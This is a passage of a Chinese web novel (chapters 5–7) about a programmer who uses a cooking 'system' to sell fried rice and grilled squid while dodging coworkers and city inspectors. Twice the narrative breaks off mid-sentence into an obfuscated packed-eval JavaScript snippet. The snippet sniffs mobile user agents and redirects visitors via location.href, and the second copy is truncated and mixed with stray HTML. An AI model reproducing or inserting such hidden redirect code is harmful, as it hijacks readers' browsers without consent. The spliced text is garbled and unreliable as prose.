“轻一点？你那破车轮子都快掉了，你再轻也有声音！”男人越说越气，“你一个大小伙子干点什么不好，非得摆摊？又挣不了几个钱，还扰民，你说你是不是有病？” 房寨张了张嘴，想说点什么，但最后还是把话咽了回去。 “对不起，我会想办法的。” 男人哼了一声，转身走了，下楼的时候还在骂骂咧咧。 房寨关上门，靠在门板上站了好一会儿。 他低头看了看自己的手，指甲缝里还有昨天切葱花留下的味道。 有病？ 也许吧。 一个名牌大学毕业的程序员，不去写代码，跑去路边摆摊，在正常人看来确实挺有病的。 但房寨不想解释。他也不知道该怎么解释。难道跟人家说“我绑定了个美食系统，不做任务就还不起房贷”？人家不把他送精神病院才怪。 他叹了口气，去洗漱了。 今天系统还没发布任务，他打算先看看群里的消息再说。 打开微信，群里已经聊了几百条。 房寨往上翻了翻，发现话题是从一条消息开始的—— “家人们，你们说老板的摊叫什么名字好？总不能一直叫‘那个炒饭很好吃的小摊’吧？” 然后下面就开始了一轮疯狂的取名大会。 “叫‘白月光’吧，不是都说他是白月光摊主吗？” “太文艺了，不如叫‘房寨炒饭’，简单粗暴。” “叫‘治愈食堂’怎么样？” “食堂太大了，就一个小推车，叫‘房寨的小摊’就行。” 最后有一个人的提议被最多人点了赞—— “叫‘寨哥儿’，亲切，好记，还有人情味。” 房寨看着“寨哥儿”这三个字，觉得有点好笑，又有点暖。 他在群里发了一条消息：“行，就叫寨哥儿吧。以后我的招牌就写这个。” 群里又是一阵欢呼。 发完消息，系统面板弹出来了。 【早安，宿主。今日心情值：74/100。】 【主线任务已发布。】 房寨点开任务面板。 【主线任务：写字楼下的午餐时间。】 【任务描述：回到故事开始的地方。请在宿主公司楼下完成一次午餐时段摆摊。】 【任务要求：11:30-13:30之间营业，至少服务15位食客。】 【任务奖励：房贷减免券×1，厨艺经验+200，推车升级图纸×1。】 【特别提示：本次任务可能触发特殊事件。】 公司楼下？ 房寨看了一眼时间，上午九点四十。 还有不到两个小时。 他赶紧换衣服出门，先去菜市场买菜。今天做蛋炒饭，简单，快，适合午餐时段。 买了米饭、鸡蛋、葱花，一共花了三十五块。余额又回到了个位数。 推车从楼下推出来的时候，房寨特意检查了一下轮子。确实有点歪，推起来咯吱咯吱的，楼下那个大叔说得没错，确实挺吵的。 但他现在没钱换轮子，只能先凑合着。 从城中村到公司，骑车十五分钟，推车走了半小时。 十点四十，他到了公司楼下那条街。 白天和晚上完全不一样。晚上冷冷清清的，只有路灯和偶尔经过的行人。白天就不一样了，到处都是人，到处都是车，到处都是声音。 房寨找了一个位置，在写字楼和旁边一栋商场之间的过道里。这个地方不算最好的位置，但也不挡路，而且离他公司只有不到一百米。 他把推车停好，支起炉子，把新做的招牌挂上去——“寨哥儿蛋炒饭”。 招牌是用纸板做的，上面用马克笔写了几个大字，歪歪扭扭的，但看得清。 八块钱一份。 十一点不到，就开始有人从写字楼里出来了。 房寨站在推车后面，看着那些穿着衬衫西裤的男男女女，忽然觉得有点紧张。 不是因为怕做不好饭，是因为他认识这些人。 这些人里有他的同事。 他不想被认出来。 一个程序员，白天在公司写代码，中午在楼下摆摊卖炒饭，这要是被同事看到了，他明天就不用去上班了——不是被开除，是社死的。 房寨把帽檐往下压了压，又把口罩往上拉了拉，整个人只露出一双眼睛。 十一点十分，第一个客人来了。 是个戴眼镜的年轻男人，穿着格子衬衫，一看就是同行。 “蛋炒饭，八块是吧？来一份。” 房寨点了点头，没说话，点火开炒。 蛋液下锅，刺啦一声，香味飘出去了。旁边路过的人放慢了脚步，有人回头看。 三分钟，出锅。 格子男接过饭，吃了一口，愣了一下，然后低头看了看碗里的饭，又抬头看了看房寨。 “哥们，你这炒饭可以啊。”他说，“比楼下那家强多了。” 房寨闷声说了句谢谢。 格子男没走，站在旁边一边吃一边看手机，吃了一半忽然抬头问：“你是新来的？以前没见过你。” “嗯，刚摆没多久。” “以后每天都来吗？” “不一定。” “可惜了。”格子男把最后几口饭扒完，“你要是天天来，我天天买。” 【叮！食客1评价已录入。满意度：93分。】 十一点半之后，人流开始多了。 房寨的摊位虽然位置偏，但架不住香味太霸道。那股蛋炒饭的味道顺着风飘出去，整条街都能闻到。 有人专门绕过来看，看了就买，买了就吃，吃了就夸。 “哇这个炒饭好好吃！” “米饭炒得好散，一粒一粒的！” “这个蛋香味好浓啊，你是不是用了土鸡蛋？” “八块钱也太便宜了吧，老板你涨价吧我求你了！” 房寨被夸得有点飘，手里的锅铲翻得更快了。 他一个人同时管两个锅，左边炒饭右边炒饭，左右开弓，动作快得跟开了倍速似的。排队的人越来越多，推车前面已经排了十几个人，弯弯曲曲的，都快排到马路上去了。 有人在群里发了现场照片：“寨哥儿今天在公司楼下！大家快来！” 然后群里的人开始往这边赶。 十一点五十的时候，房寨在排队的人群里看到了一个熟悉的身影。 是他的同事，小刘。 小刘和他一个部门，工位就在他旁边，平时关系还行，偶尔一起吃午饭。 房寨的心一下子提到了嗓子眼。 他把帽檐又往下压了压，头低着，专注地炒饭，假装没看到。 但小刘已经走过来了，站在队尾，一边排队一边玩手机。 房寨脑子里只有一个念头：千万别认出来，千万别认出来，千万别认出来。 他炒饭的时候刻意换了个姿势，背对着小刘的方向，声音也压得更低了。 队伍一点点往前挪，小刘一点点靠近。 房寨的汗都下来了。 不是热的，是吓的。 终于，轮到小刘了。 小刘站在推车前，看着招牌上的字，念了一遍：“寨哥儿蛋炒饭。” 然后他抬头看着房寨。 房寨低着头，把帽檐压得低低的，口罩拉得高高的。 “来一份。”小刘说。 房寨点了点头，转身炒饭。他炒的时候故意把动作放慢了，不像之前那么行云流水，而是刻意加了一些多余的动作，让自己看起来笨手笨脚的，不像一个专业厨师。 炒好了，装碗，递过去。 小刘接过饭，吃了一口。 然后他愣住了。 他又吃了一口，嚼了嚼，皱了皱眉头，又看了看房寨。 房寨的心跳快得跟打鼓似的。 小刘盯着他看了好几秒，忽然笑了。 “房寨？” 房寨整个人僵住了。 “你化成灰我都认得你。”小刘笑着说，“咱俩工位挨着，你每天中午吃蛋炒饭，那个味道我闻了半年了。你这炒饭的味道跟你平时吃的一模一样，我一尝就尝出来了。” 房寨把口罩拉下来，苦笑了一下：“你嘴也太灵了。” “不是我的嘴灵，是你的饭太有辨识度了。”小刘凑过来压低声音，“你什么情况？怎么跑这儿摆摊来了？你不怕被王经理看到？” “怕啊。”房寨小声说，“所以你能不能帮我保密？” 小刘想了想，伸出一根手指：“一顿饭。” “两顿。” “成交。” 小刘端着饭走了，走了几步又回头，冲房寨竖了个大拇指。 房寨松了口气，把口罩拉回去，继续炒饭。 十二点半的时候，排队的人更多了。 房寨忙得满头大汗，后背湿透了，胳膊酸得都快抬不起来了。但看到那些端着饭盒蹲在路边吃得一脸满足的人，他又觉得挺值的。 有个穿高跟鞋的姑娘，端着炒饭蹲在马路牙子上吃，吃得太急呛到了，咳了好几下，但还是舍不得停下来，一边咳一边往嘴里扒。 有个中年大叔，西装革履的，看着挺讲究的一个人，蹲在垃圾桶旁边吃，吃得满嘴是油，吃完还用手指头把碗底的米粒一颗颗捡起来塞进嘴里。 有个年轻妈妈带着孩子，孩子本来在哭，吃了一口炒饭之后不哭了，张着嘴等着下一口。 房寨看着这些画面，嘴角不自觉地往上翘。 就在这时，他听到了一个让他头皮发麻的声音。 “那边那个摊位，谁让你在这里摆摊的？” 房寨抬头一看，一个穿制服的城管正朝他走过来。 他脑子里嗡的一声，整个人瞬间慌了。 以前他只在新闻里看过城管，从没想过自己有一天会被城管抓。 “我……我就是临时摆一下。”房寨手忙脚乱地开始收东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511074|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西。 “临时也不行，这是公共区域，不允许私自摆摊。你有没有营业执照？有没有健康证？有没有食品经营许可证？” 房寨一样都没有。 他愣在原地，手里还握着锅铲，不知道该怎么办。 排队的人群也安静了，所有人都看着这一幕。 城管走到推车前，看了看他的招牌，又看了看锅里的饭，语气稍微缓和了一点：“小伙子，我不是要为难你。但是你在这里摆摊确实不合规，万一有人吃坏了肚子，你负得了责吗？” “我……”房寨张了张嘴，想说他的食材都是新鲜的，想说他做饭很干净，想说从来没有人吃坏过肚子。但这些话在“合规”两个字面前，一点用都没有。 他知道城管说得对。他没有执照，没有证件，什么手续都没有，确实不该在这里摆摊。 “我收，我现在就收。”房寨低下头，开始关火、收锅、收拾东西。 排队的那些人开始骚动了。 “哎呀这还没吃到呢！” “城管大哥通融一下嘛，他就摆一会儿！” “我们都排了半个小时了！” 城管看了他们一眼，没说话，又看了看房寨那辆破旧的推车和那些洗得干干净净的碗筷，沉默了几秒。 “这样吧，”城管说，“你今天把这些已经排队的客人服务完，然后就收走，行不行？” 房寨抬头看了城管一眼，有点不敢相信。 “谢谢，谢谢您。”他赶紧说。 城管摆了摆手，走了。走了几步又回头补了一句：“下次别在这儿摆了，去正规的市场或者夜市，那边有专门给流动摊贩划的区域。” 房寨连连点头。 城管走远了，排队的人群发出一阵小小的欢呼。 “这个城管人还挺好的。” “吓死我了，我以为今天吃不到了。” “老板你快炒，我快饿死了。” 房寨深吸一口气，重新点火。 他的手还在抖，但锅铲握在手里之后，就稳了。 他一份一份地炒，把排队的十几个人全部服务完。 最后一份炒饭递出去的时候，保温桶里的米饭刚好见底，一粒不剩。 房寨擦了擦额头的汗，开始收拾东西。锅碗瓢盆一样样收好，炉子关火，煤气罐拧紧，招牌取下来折叠好。 推车又变成了那个破旧的样子，轮子歪歪扭扭的，上面还有锈迹。 他推着车往回走的时候，手机震了一下。 是小刘发来的消息：“兄弟，你今天这事要不要跟王经理说？我感觉他迟早会知道的。” 房寨回了一句：“先别说，让我想想怎么办。” 他把手机揣回兜里，推着车慢慢地走。 今天挣的钱比之前都多，卖了二十多份，除去成本赚了将近一百块。房贷也又减了五千。但他心里不踏实。 没有执照，没有证件，没有固定的摊位，今天能碰到一个好说话的城管，明天呢？后天呢？ 他不能一直这么躲着。 【主线任务完成！服务食客22人，平均满意度91.8分。】 【发放奖励：房贷减免券×1，厨艺经验+200，推车升级图纸×1。】 【房贷减免券生效中……抵扣本金5000元。当前剩余本金：1,504,331.68元。】 【推车升级图纸已发放。请查看。】 房寨点开图纸看了看，是一份改装方案，把现在的破推车升级成一个带遮阳棚、带储物柜、带移动电源的多功能餐车。图纸上画得很详细，每一个零件都有尺寸和材质说明。 他大概估算了一下改装的成本，最少也要一两千块钱。 他现在全身家当加起来不到一百块。 房寨苦笑了一下，把图纸收好。 先攒钱吧。 回到出租屋的时候，天已经快黑了。 房寨把推车推进屋里，洗了个澡，躺在床上翻手机。 群里已经炸了，全在讨论今天城管的事。 “那个城管真的挺好的，还让他把排队的服务完。” “但是这样下去不是办法啊，总得有个固定的地方吧？” “寨哥儿你考虑过去夜市吗？我认识一个夜市的管理方，可以帮你问问摊位的事。” 房寨看着这条消息，心里一动。 夜市？ 他想了想，回复了一句：“可以帮我问问吗？谢谢。” 发完这条，他又去看了一眼系统面板。 今天的任务完成了，新的随机食谱还没发。不知道明天会是什么。 他闭上眼睛，脑子里乱七八糟的。 城管的事，同事的事，推车的事，钱的事。 一大堆事堆在一起，像他出租屋里那堆没来得及收拾的锅碗瓢盆。 但奇怪的是，他没有之前那种喘不过气的感觉了。 可能是因为今天晚上，他在群里看到了这样一条消息。 是一个他记不住名字的群友发的，只有一句话： “寨哥儿，你今天受委屈了。但不管你在哪里摆摊，我都会去找你的。” 房寨盯着这条消息看了好几秒，然后关掉手机，翻了个身。 窗外的风还是那样，穿过城中村的电线，发出细细的声音。 但他觉得，今天晚上的风，好像比昨天又暖和了一点。 6. 第 6 章 房寨是被一阵香味香醒的。 不对，这屋里哪来的香味？ 他睁开眼，发现香味是从脑子里传来的。不是真的有人在做菜，是系统面板上飘着一行字，那行字自带气味。 【今日随机食谱已发放：铁板鱿鱼。】 【食谱特点：香气穿透力极强，可覆盖半径50米范围。】 【系统提示：此菜品适合在人流量大的区域销售，建议搭配吆喝使用。】 房寨盯着“铁板鱿鱼”四个字，咽了口唾沫。 他在夜市吃过这玩意儿。铁板烧得滋滋响，鱿鱼在上面翻卷，刷上酱料撒上孜然，那个味道隔三条街都能闻到。 但他从来没想过自己会做这个。 他闭上眼，调取了食谱记忆。和之前一样，完整的制作流程和技巧直接灌进了脑子里。选鱿鱼要看眼睛亮不亮，处理鱿鱼要去掉表面的膜，酱料要用蒜蓉辣酱加海鲜酱加蚝油按比例调配，铁板的温度要控制在两百二十度左右，太高了会老，太低了不出香味。 最难的不是做，是翻鱿鱼的时候那个手法。铁板上的鱿鱼须受热会卷起来，要用铲子压着，不能让它卷得太厉害，不然受热不均匀。 房寨在脑子里演练了一遍，觉得问题不大。 今天系统没有发布主线任务，只有一条提示：【自由营业日。宿主可自行决定是否出摊、何时出摊、何地出摊。】 自由日？意思是想摆就摆，不摆也行？ 房寨想了想，决定出摊。不是因为闲不住，是因为昨天那个群友说帮他问夜市摊位的事，今天可能有消息，他得去看看。 他先给那个群友发了条消息，对方很快回复了：“我问了，城南那个夜市还有几个空位，租金一天五十，水电另算。你要是有兴趣今天下午可以过来看看，我带你找管理员。” 一天五十。 房寨算了算，他一份蛋炒饭赚三块钱左右，要卖十七份才能把租金挣回来。加上食材成本，一天得卖二十五份以上才能有赚头。 有点压力，但不是不行。 他回复：“好，我今天下午过去看看。” 然后出门去买鱿鱼。 菜市场的水产摊位在最后面，空气里弥漫着一股腥味。房寨走到一个摊位前，水箱里养着大大小小的鱿鱼，活的，触须在水里摆动。 “老板，鱿鱼怎么卖？” “大的十五一斤，小的十二。” 房寨看了看，大的肉质厚，小的嫩。做铁板鱿鱼，小的更合适，容易熟，口感脆。 “来三斤小的。” 花了三十六块钱，余额又回到了解放前。 他又买了蒜蓉辣酱、海鲜酱、蚝油、孜然粉、辣椒粉，加上家里已有的盐和糖，凑齐了酱料的所有配料。又花了二十多。 回到家，他开始调酱料。 蒜蓉辣酱三勺，海鲜酱一勺，蚝油一勺，白糖半勺，加点水搅匀。尝了一口，太咸了，又加了半勺糖和一点醋中和。再尝，好多了。有海鲜酱的鲜，有辣酱的辣，有糖的甜，后味还有一点酸，刚好解腻。 鱿鱼处理是最麻烦的。三斤鱿鱼，一只一只地清理。先把头身分离，去掉内脏和软骨，撕掉表面的膜，把须上的吸盘撸掉。整个过程又腥又黏，手上全是滑溜溜的黏液，洗了三遍手都还有味道。 处理完之后，他把鱿鱼切成小块，须切成段，用竹签串起来。一串大概四五块肉加两三根须，穿了三斤，串了将近二十串。 串好的鱿鱼放在盆里，用料酒和姜片腌着去腥。 一切准备就绪，下午两点多，房寨推着车出门了。 城南夜市在一条步行街上，白天没什么人，到了傍晚才开始热闹。房寨到的时候才三点，夜市还没开，但已经有人开始在搭棚子了。 他在入口处等了一会儿，一个穿着花衬衫的胖男人朝他走过来，后面跟着昨天那个群友。 “你就是房寨？”胖男人打量了他一眼，“我是这夜市的管理员，姓赵，你叫我赵哥就行。” “赵哥好。”房寨赶紧打招呼。 赵哥带着他在夜市里走了一圈，指给他看空着的摊位。位置不算好，在夜市的尾巴上，靠近厕所，人流少一些。但房寨没什么可挑的，有个地方就不错了。 “这个位置一天五十，水电从旁边的柱子接，电费另算，一度电一块五。你要是想签，先交三天的押金。” 三天押金一百五，加上今天的租金五十，一共两百。 房寨摸了摸口袋，掏出一把零钱，数了数，四十七块三毛。 赵哥看了一眼，表情有点微妙。 那个群友在旁边赶紧说：“赵哥，他是刚起步，能不能先交一天的？押金宽限几天？” 赵哥想了想，看着房寨那辆破推车，叹了口气：“行吧，今天你先试试。要是生意好，明天把押金补上。” “谢谢赵哥。”房寨连忙道谢。 他把推车推到摊位的位置上，开始收拾。这个摊位虽然位置偏，但有个好处——有固定的电源接口。他不用再自己带移动电源了，可以直接用电铁板。 房寨把推车上的东西一样样摆好，铁板接上电预热，酱料放在顺手的位置，串好的鱿鱼用保鲜膜盖着放在一边。他把新写的招牌挂出来——“寨哥儿铁板鱿鱼”，下面一行小字：五块钱一串。 四点刚过，夜市就开始上人了。 不是正式营业的时间，但已经有游客陆陆续续地进来了。房寨站在摊位后面，把铁板的温度调到两百二十度，倒了一点油，油热了之后，放上四串鱿鱼。 刺啦—— 鱿鱼接触到滚烫的铁板，瞬间发出剧烈的声响。水汽蒸腾而起，带着鱿鱼特有的鲜味和铁板的焦香。房寨用铲子压住鱿鱼须，防止它们卷得太厉害。翻面，再压，刷酱，撒孜然和辣椒粉。 整个过程不到两分钟，鱿鱼从半透明的白色变成了焦黄色，表面裹着一层红亮的酱汁，边角微微焦脆，油光发亮。 香味炸开了。 不是那种温和的、慢慢扩散的香，是那种霸道的、不讲道理的、直接往人鼻子里钻的香。 旁边摊位的老板都忍不住看了过来。 第一个客人是个小伙子，穿着运动背心，胳膊上还有纹身，看着像个混社会的。他走到摊位前，闻了闻，眼睛亮了。 “来两串。” 房寨把刚出锅的两串递给他，小伙子接过去咬了一口，嚼了两下，表情变了。 “卧槽。”他说，“你这鱿鱼怎么做的？我在夜市吃了十几年鱿鱼，没吃过这么嫩的。” 他又咬了一口，一边嚼一边含糊地说：“再来五串。” 【叮！食客评价已录入。满意度：96分。】 房寨笑了笑，又放上七串。铁板不够大，一次最多做七八串，再多就挤不下了。 鱿鱼在铁板上滋滋作响，香味越飘越远。开始有人专门绕过来看，看了就走不动了，排队等着。 “这鱿鱼闻着好香啊！” “五块钱一串？这么便宜？旁边那家卖八块呢。” “老板给我来三串！” “我要五串！” 房寨忙得不可开交。铁板上一排鱿鱼，这边熟了那边又放上，刷酱撒料翻面，动作越来越熟练。他发现自己已经不需要刻意去想步骤了，手自己就会动。 这就是厨神技能包的好处，做多了就变成肌肉记忆了。 排队的人越来越多，短短十几分钟，摊位前面已经排了十几个人。夜市的过道本来就不宽，他这一排，直接把路堵了一半。 旁边卖烤面筋的大叔看不下去了，扯着嗓子喊：“你们能不能别都堵在这儿？让让路行不行？” 但没人理他。 房寨有点不好意思，但也没办法。他一个人就两只手，铁板就那么大，速度已经到极限了。 就在这时候，系统面板忽然弹出一条消息。 【检测到营业高峰期，宿主当前处理速度不足以应对客流。】 【建议：使用推车升级图纸中的“双铁板配置”。】 【升级所需材料：铁板×1，温控器×1，电线若干。预估成本：400元。】 又是钱。 房寨看了一眼余额，今天还没开始算账，但毛收入大概有一百多了。扣掉食材成本和租金，净赚可能不到五十。 四百块，他得攒好几天。 他正想着，一个声音从队伍后面传过来。 “让一让，让一让，我是来送钱的。” 房寨抬头一看，是小刘。 小刘挤到摊位前，手里拿着一个信封，递给他：“这是咱们部门几个人凑的，你不是要升级推车吗？先拿着用。” 房寨愣住了，没接。 “什么意思？” “没什么意思，就是借你的，你赚了钱再还。”小刘把信封塞到他手里，“一千二，不多，但够你换个好点的推车了。” 房寨打开信封看了一眼，里面是一沓钞票，有红的有蓝的，新旧不一。 他抬起头看着小刘，鼻子有点酸。 “你们……” “别墨迹了，赶紧炒鱿鱼，我排了半天队了，给我来五串。”小刘拍了拍他的肩膀，笑了，“你小子现在是咱部门的希望，全部门就你最有出息。” 房寨知道小刘在说反话。一个摆摊的，哪有什么出息？但他还是觉得心里热乎乎的，像是有人在冬天给他披了件衣服。 他把信封收好，擦了擦手，开始给小刘烤鱿鱼。 小刘接过鱿鱼，咬了一口，嚼了嚼，表情和之前那个纹身小伙子一模一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511075|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我操。”他说，“房寨你完了，你这手艺，以后肯定走不了回头路了。” “什么意思？” “意思就是，你再也当不回普通程序员了。”小刘一边吃一边说，“你想想，写代码一天累死累活挣三百，摆摊一天挣多少？你这手艺要是做大了，谁还回去上班？” 房寨想了想，好像确实是这个理。 但他没想那么远。他现在想的，是怎么把这个摊位撑下去，怎么把房贷还了，怎么在这个城市活下去。 至于以后的事，以后再说。 晚上八点多，夜市到了最热闹的时候。 整条街灯火通明，人挤人，到处都是叫卖声和笑声。烤串的烟和炒菜的油烟混在一起，把整条街笼罩在一层薄薄的雾气里。有人在唱卡拉OK，音响开得很大，唱得跑调了也不在乎。 房寨的摊位前始终排着队。他的鱿鱼串是整条夜市最便宜的，五块钱一串，别家都卖七八块。而且味道确实好，吃过的人没有不回购的。 有个大姐一口气买了十串，说要带回去给家里人尝尝。有个大爷牙口不好，房寨特意给他烤得嫩一点，大爷吃完又回来买了三串。有个小姑娘吃了两串嫌辣，一边吸溜嘴一边又买了一串。 房寨的胳膊已经酸得不行了，但他不想停。 不是因为贪钱，是因为每次他把鱿鱼递给客人的时候，看到他们脸上那种满足的表情，他就觉得值了。 那种表情不是装出来的，是真实的、发自内心的、藏不住的。 就像他自己第一次吃到系统做的蛋炒饭时的表情。 九点多，鱿鱼卖完了。三斤鱿鱼串了将近二十串，全部售空，一串不剩。 房寨数了数今天的收入，毛收入两百多块。扣掉食材成本、租金、电费，净赚一百出头。 加上小刘他们借的一千二，他现在有将近一千三百块。 够了。 房寨在夜市里转了一圈，找到了一家卖厨具的摊位，买了一块新的铁板和一个温控器，又买了一些电线。花了两百多，比系统预估的便宜一些。 回到家，他打开推车升级图纸，开始按照上面的说明改装。 其实也不难，就是在推车上加一个支架，把第二块铁板并排放上去，两个温控器分别控制温度，电线从同一个插座接出来。房寨虽然不是理工科出身，但好歹是个程序员，动手能力还是有的。 折腾了一个多小时，改装完成。 推车还是那个破推车，轮子还是咯吱咯吱响，但台面上多了两块铁板，看起来专业了不少。 房寨站在推车前，叉着腰看了半天，挺满意的。 【推车升级完成。当前等级：初级餐车（可同时制作2份菜品）。】 【下一级升级所需：遮阳棚+储物柜+移动电源。预估成本：2500元。】 两千五。 房寨看了一眼余额，一千出头。 还得再攒攒。 他洗了个澡，躺在床上翻手机。 群里今天特别热闹，因为有人在夜市拍到了他烤鱿鱼的视频，发到了群里。 “寨哥儿今天在城南夜市！铁板鱿鱼！巨好吃！大家快来！” 视频里，房寨站在铁板后面，被油烟和热气包围着，脸上全是汗，但动作特别利落。鱿鱼在铁板上滋滋作响，酱料刷上去的时候颜色特别好看。 视频下面一堆评论。 “天哪这个香味隔着屏幕都闻到了。” “城南夜市是吧？我现在打车过去！” “已经卖完了？我才看到啊！” “寨哥儿你明天还去夜市吗？” 房寨回复了一句：“明天还去，位置在夜市靠厕所那头，别走错了。” 发完这条，他又看了一眼那个视频。 视频里的自己看起来很忙，很累，满头大汗，衣服上全是油点子。但眼睛是亮的，嘴角是往上翘的。 和三个月前那个躺在出租屋里盯着灯泡发呆的人，完全不一样了。 他关掉手机，闭上眼睛。 今天很累，胳膊酸得抬不起来，脚底板疼得跟踩了钉子似的。但他心里特别踏实，特别安稳。 那种感觉就像——他终于找到了一个属于自己的位置。 不是在写字楼的格子间里，不是在代码的世界里，而是在夜市最偏远的角落里，在一个挨着厕所的小摊位上，在铁板的滋滋声和鱿鱼的香味里。 房寨翻了个身，把被子拉到下巴。 窗外，夜风穿过城中村的电线，声音细细的，像有人在远处吹口哨。 他忽然想起今天那个大爷说的话。 “小伙子，你这鱿鱼做得真好吃，我明天还来。” 明天还来。 这四个字，比什么夸奖都好听。 7. 第 7 章 房寨在夜市摆到第五天的时候，发现自己有了第一批熟客。 不是那种偶尔路过吃一次的好吃嘴，是那种每天都来、来了也不用说话、往摊位前一站他就知道要什么的熟客。 第一个熟客是那个纹身小伙子。 房寨后来知道了他叫阿坤，在附近的健身房当教练，每天练完就来他这儿报道。阿坤的口味很固定，鱿鱼要烤得焦一点，多辣，不要孜然。第一次这么说的时候房寨还愣了一下，铁板鱿鱼不要孜然，那还叫铁板鱿鱼吗？但阿坤说他就好这口，房寨也就随他了。 “今天练什么了？”房寨一边烤一边随口问。 “背。”阿坤活动了一下肩膀，“做了几组引体向上，现在胳膊都是软的。” “那你多吃两串，补补。” 阿坤笑了，露出一口白牙：“你这鱿鱼除了长肉，补不了别的。” 旁边排队的人跟着笑。 第二个熟客是个老太太，就住在夜市后面的小区里。老太太第一次来的时候犹豫了半天，问房寨这鱿鱼咬不咬得动。房寨给她烤了几串嫩的，火候小一点，时间短一点，鱿鱼刚熟就出锅，软得很。老太太吃了一串，眼睛亮了，又要了三串。从那以后每天晚上都来，一次不多买，就三串，吃完慢慢走回家。 老太太话多，每次来都要跟房寨聊几句。今天说菜市场的菜涨价了，明天说楼下那只野猫又生了小猫，后天说儿子打电话来说要带女朋友回家过年。 房寨听着，偶尔应两句。他发现自己开始习惯这些碎碎念了。以前他嫌老人家啰嗦，现在他觉得，有人啰嗦是好事。起码证明还有人愿意跟你说话。 第三个熟客是个外卖骑手。 房寨认出他的时候愣了一下，就是那天在医院门口吃阳春面吃哭了的小陈。小陈那天加了他的微信，后来在群里也一直挺活跃的，但房寨没想到他会找到夜市来。 “你不是跑外卖的吗？怎么跑到城南来了？”房寨问。 “我专门调的区域。”小陈说这话的时候语气很随意，像是在说一件很小的事，“原来跑城北，太远了，过不来。现在跑城南，每天晚上收工前来你这儿吃两串，正好。” 房寨张了张嘴，想说点什么，但嗓子忽然有点紧。 他把鱿鱼烤好，多刷了一层酱，递过去。 小陈接过去咬了一口，嚼了嚼，点了点头：“还是这个味儿。” 然后他蹲在路边，一串一串地吃，吃得很慢，像是在享受什么很重要的东西。 房寨看着他，忽然想起那天晚上在医院门口，小陈一边哭一边说“今天跑了四十多单”的样子。 才过了没几天，但好像已经是很久以前的事了。 熟客多了，生意也稳了。 每天晚上六点到九点，房寨的摊位前就没断过人。两块铁板同时开着，他一个人忙得脚不沾地，连喝口水的时间都没有。 但问题也跟着来了。 位置偏，这是硬伤。虽然熟客都知道他靠在厕所旁边，但新客人不会专门绕到厕所这边来。很多第一次来夜市的人，逛到一半就吃饱了，根本走不到他这儿。 房寨想过换位置，但赵哥说了，好位置要加钱，一天一百五。他现在一天净赚一百出头，换了好位置反而亏了。 先这么干着吧。 第七天的时候，系统突然发了个任务。 【支线任务：收集食客故事。】 【任务描述：每道美食背后都有一个故事。请收集三位食客的真实故事，并完成一道“为他们而做”的菜品。】 【任务奖励：房贷减免券×1，厨艺经验+150，特殊调料×1。】 房寨看着这个任务，挠了挠头。 收集故事？他一个卖鱿鱼的，总不能跟客人说“你好，请把你的故事讲给我听”吧？ 但他想要那个房贷减免券。 他想来想去，决定换个方式——不主动问，就听着。反正每天都有人在他摊位前聊天，有的跟同伴聊，有的跟他聊，听多了自然就有故事了。 第一个故事来得很快。 是个年轻姑娘，穿着职业装，一看就是刚下班直接过来的。她一个人来的，买了三串鱿鱼，站在摊位旁边吃。 房寨本来没太在意，但姑娘吃了一半忽然开口了。 “老板，你天天在这儿摆摊吗？” “差不多吧。” “那挺好的，”姑娘说，“有个固定的事情做，比什么都强。” 房寨觉得她这话说得有点奇怪，就多看了她一眼。姑娘的眼睛红红的，像是刚哭过，但脸上化了妆，看不太出来。 “你今天还好吧？”房寨试探着问了一句。 姑娘愣了一下，然后笑了，笑容有点勉强：“还行，就是被裁了。” “啊？” “公司裁员，今天通知的，干到月底。”姑娘说这话的时候语气很平静，但手里的鱿鱼串被她捏得有点变形，“干了三年了，说裁就裁。” 房寨不知道该怎么接话。他太懂这种感觉了，那种忽然之间被从轨道上推出去的感觉，不知道自己该往哪走，也不知道自己能干什么。 “没事，”姑娘自己给自己打气，“正好休息一段时间，我一直想学烘焙来着。” 她吃完了最后一串鱿鱼，把签子扔进垃圾桶，冲房寨笑了笑：“老板，你这鱿鱼挺好吃的，以后我还来。” 她走了之后，房寨在铁板上多放了几串。 不是给客人的，是给那个姑娘的。他想，如果她明天还来，他就请她吃。 第二个故事是阿坤讲的。 阿坤那天练得狠了，坐在摊位旁边的小板凳上，一边吃一边揉胳膊。 “寨哥，你说人是不是越活越没劲？”阿坤忽然说。 房寨正在翻鱿鱼，头都没抬：“怎么了？” “我今天跟我妈打电话，她又催我找对象。我说我现在一个月挣七八千，自己都养不活，拿什么找对象？她说隔壁老王家儿子跟我一样大，孩子都两岁了。” 阿坤咬了一口鱿鱼，嚼得很大声：“我就想不通了，为什么非得跟别人比？我不结婚怎么了？我不生孩子怎么了？我过得挺好的啊。” 房寨把烤好的鱿鱼装进纸袋，递给旁边的客人，然后转过身看着阿坤。 “你觉得好就行。” “我也觉得。”阿坤说，“但每次打完电话，我就觉得好像我错了似的。” 他没再往下说，吃完鱿鱼站起来走了。走的时候冲房寨摆了摆手，跟往常一样。 房寨看着他的背影，觉得阿坤这个人其实不像看起来那么大大咧咧。他也有他的烦恼，只是平时不说而已。 第三个故事最让房寨意外。 那天快收摊了，快九点，夜市的人少了很多。房寨正在收拾东西，一个中年男人走过来了。 男人穿着深蓝色的工作服，上面有油渍，像是刚下班。他走到摊位前，看了看招牌，又看了看铁板上剩下的最后几串鱿鱼。 “还有吗？” “有，要几串？” 